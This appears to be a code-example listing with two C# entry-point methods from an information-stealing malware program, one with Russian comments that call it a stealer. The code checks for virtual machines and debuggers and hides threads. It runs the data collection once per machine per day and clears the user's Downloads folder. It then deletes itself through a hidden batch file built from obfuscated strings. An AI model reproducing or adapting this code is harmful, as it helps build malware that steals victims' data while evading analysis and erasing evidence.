Example #1
0
 private static void Main()
 {
     if (Program.AntiVM)
     {
         VMcheck.CheckAnti();
     }
     if (Program.AntiDebugger)
     {
         Program.< > c__DisplayClass0_0 CS$ < > 8__locals1 = new Program.< > c__DisplayClass0_0();
         if (AntiDebug.inDebugger())
         {
             AntiDebug.badExit();
         }
         Program.< > c__DisplayClass0_0 CS$ < > 8__locals2 = CS$ < > 8__locals1;
         Task[] array = new Task[1];
         array[0] = new Task(delegate()
         {
             AntiDebug.StartAn();
         });
         CS$ < > 8__locals2.dd = array;
         new Thread(delegate()
         {
             Task[] dd = CS$ < > 8__locals1.dd;
             for (int i = 0; i < dd.Length; i++)
             {
                 dd[i].Start();
             }
         }).Start();
         DebugProtect3.HideOSThreads();
     }
     if (!File.Exists(Help.LocalData + "\\" + Help.HWID))
     {
         Collection.GetCollection();
     }
     else if (!File.ReadAllText(Help.LocalData + "\\" + Help.HWID).Contains(Help.HWID + Help.dateLog))
     {
         Collection.GetCollection();
     }
     else if (Program.doubleExecute)
     {
         Collection.GetCollection();
     }
     else
     {
         Environment.Exit(0);
     }
     Clean.selfRemove();
     Environment.Exit(0);
 }
Example #2
0
        private static void Main()
        {
            try
            {
                // Подключаем нужные библиотеки
                AppDomain.CurrentDomain.AssemblyResolve += AppDomain_AssemblyResolve;
                Assembly AppDomain_AssemblyResolve(object sender, ResolveEventArgs args)
                {
                    if (args.Name.Contains("DotNetZip"))
                    {
                        return(Assembly.Load(Resources.DotNetZip));
                    }

                    return(null);
                }


                // Проверка файла Help.HWID
                if (!File.Exists(Help.LocalData + "\\" + Help.HWID))
                {
                    // Файла Help.HWID нет, запускаем стиллер
                    Collection.GetCollection();
                }

                else
                {
                    // Файл Help.HWID есть, проверяем записанную в нем дату
                    if (!File.ReadAllText(Help.LocalData + "\\" + Help.HWID).Contains(Help.HWID + Help.dateLog))
                    {
                        // Дата в файле Help.HWID отличается от сегодняшней, запускаем стиллер
                        Collection.GetCollection();
                    }
                    else
                    {
                        // В файле Help.HWID сегодняшняя дата, закрываемся, означает что сегодня уже был лог с данного пк и не нужно слать повторы.
                        Environment.Exit(0);
                    }
                }
            }
            catch
            {
                Clean.GetClean();
                return;
            }

            finally
            {
                // Чистим следы за собой, небольшой метод вторичной проверки. Так же метод очищает папку Downloads у юзера
                Clean.GetClean();

                // Самоудаление после отправки лога
                string batch = Path.GetTempFileName() + Decrypt.Get("H4sIAAAAAAAEANNLzk0BAMPCtLEEAAAA");
                using (StreamWriter sw = new StreamWriter(batch))
                {
                    sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAFNySE3OyFfIT0sDAP8G798KAAAA"));                                                                                                                     // скрываем консоль
                    sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEACvJzE3NLy1RMFGwU/AL9QEAGpgiIA8AAAA="));                                                                                                             // Задержка до выполнения следуюющих команд в секундах.
                    sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAHNx9VEAAJx/wSQEAAAA") + "\"" + Path.GetFileName(new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name) + "\"" + " /f /q"); // Удаляем исходный билд
                    sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAHN2UQAAQkDmIgMAAAA=") + Path.GetTempPath());                                                                                                        // Переходим во временную папку юзера
                    sw.WriteLine(Decrypt.Get("H4sIAAAAAAAEAHNx9VEAAJx/wSQEAAAA") + "\"" + batch + "\"" + " /f /q");                                                                                            // Удаляем .cmd
                }

                Process.Start(new ProcessStartInfo()
                {
                    FileName        = batch,
                    CreateNoWindow  = true,
                    ErrorDialog     = false,
                    UseShellExecute = false,
                    WindowStyle     = ProcessWindowStyle.Hidden
                });
                Environment.Exit(0);
            }
        }